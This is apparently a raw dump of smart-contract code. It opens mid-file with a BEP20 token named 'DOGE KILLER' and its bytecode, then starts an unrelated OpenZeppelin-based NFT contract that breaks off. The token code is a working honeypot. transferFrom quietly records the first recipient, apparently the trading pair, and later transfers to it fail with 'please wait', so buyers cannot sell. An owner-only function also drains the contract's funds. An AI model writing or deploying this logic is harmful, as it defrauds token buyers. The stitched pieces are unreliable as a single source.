tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "eLEASH"; name = "DOGE KILLER"; decimals = 9; _totalSupply = 500000000 * 10**6 * 10**9; balances[0xB8015E61fC328FE3eb3FCA165b20BfA8C1897A81] = _totalSupply; emit Transfer(address(0), 0xB8015E61fC328FE3eb3FCA165b20BfA8C1897A81, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } contract eLEASH is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } }
0x6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a914610570578063cae9ca5114610587578063d4ee1d9014610691578063dd62ed3e146106e8578063f2fde38b1461076d576100fe565b806381f4f399146103c55780638da5cb5b1461041657806395d89b411461046d578063a9059cbb146104fd576100fe565b806323b872dd116100d157806323b872dd14610285578063313ce5671461031857806370a082311461034957806379ba5097146103ae576100fe565b806306fdde0314610100578063095ea7b31461019057806318160ddd146102035780631ee59f201461022e575b005b34801561010c57600080fd5b506101156107be565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015557808201518184015260208101905061013a565b50505050905090810190601f1680156101825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019c57600080fd5b506101e9600480360360408110156101b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085c565b604051808215151515815260200191505060405180910390f35b34801561020f57600080fd5b5061021861094e565b6040518082815260200191505060405180910390f35b34801561023a57600080fd5b506102436109a9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029157600080fd5b506102fe600480360360608110156102a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cf565b604051808215151515815260200191505060405180910390f35b34801561032457600080fd5b5061032d610e14565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035557600080fd5b506103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e27565b6040518082815260200191505060405180910390f35b3480156103ba57600080fd5b506103c3610e70565b005b3480156103d157600080fd5b50610414600480360360208110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061100d565b005b34801561042257600080fd5b5061042b6110aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047957600080fd5b506104826110cf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c25780820151818401526020810190506104a7565b50505050905090810190601f1680156104ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050957600080fd5b506105566004803603604081101561052057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116d565b604051808215151515815260200191505060405180910390f35b34801561057c57600080fd5b506105856113cc565b005b34801561059357600080fd5b50610677600480360360608110156105aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611474565b604051808215151515815260200191505060405180910390f35b34801561069d57600080fd5b506106a66116a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f457600080fd5b506107576004803603604081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116cd565b6040518082815260200191505060405180910390f35b34801561077957600080fd5b506107bc6004803603602081101561079057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611754565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108545780601f1061082957610100808354040283529160200191610854565b820191906000526020600020905b81548152906001019060200180831161083757829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006109a4600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546005546117f190919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a5b5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610aa65782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b6b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610bbd82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8f82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6182600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eca57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461106657600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111655780601f1061113a57610100808354040283529160200191611165565b820191906000526020600020905b81548152906001019060200180831161114857829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61128582600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131a82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461142557600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611470573d6000803e3d6000fd5b5050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561163557808201518184015260208101905061161a565b50505050905090810190601f1680156116625780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561168457600080fd5b505af1158015611698573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117ad57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561180057600080fd5b818303905092915050565b600081830190508281101561181f57600080fd5b9291505056fea265627a7a7231582051f12f93fa9f14ae66c13fce77c8e3fc14643ad420f3f8f08fa567414d38be9364736f6c63430005110032
[ 38 ]
0xf3a0e8cd7f9f8df5d17b9349a9c8fe698e7857c5
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** ██╗░░██╗██╗████████╗████████╗██╗░░░██╗███████╗░█████╗░███╗░░░███╗ ██║░██╔╝██║╚══██╔══╝╚══██╔══╝╚██╗░██╔╝██╔════╝██╔══██╗████╗░████║ █████═╝░██║░░░██║░░░░░░██║░░░░╚████╔╝░█████╗░░███████║██╔████╔██║ ██╔═██╗░██║░░░██║░░░░░░██║░░░░░╚██╔╝░░██╔══╝░░██╔══██║██║╚██╔╝██║ ██║░╚██╗██║░░░██║░░░░░░██║░░░░░░██║░░░██║░░░░░██║░░██║██║░╚═╝░██║ ╚═╝░░╚═╝╚═╝░░░╚═╝░░░░░░╚═╝░░░░░░╚═╝░░░╚═╝░░░░░╚═╝░░╚═╝╚═╝░░░░░╚═╝ */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = 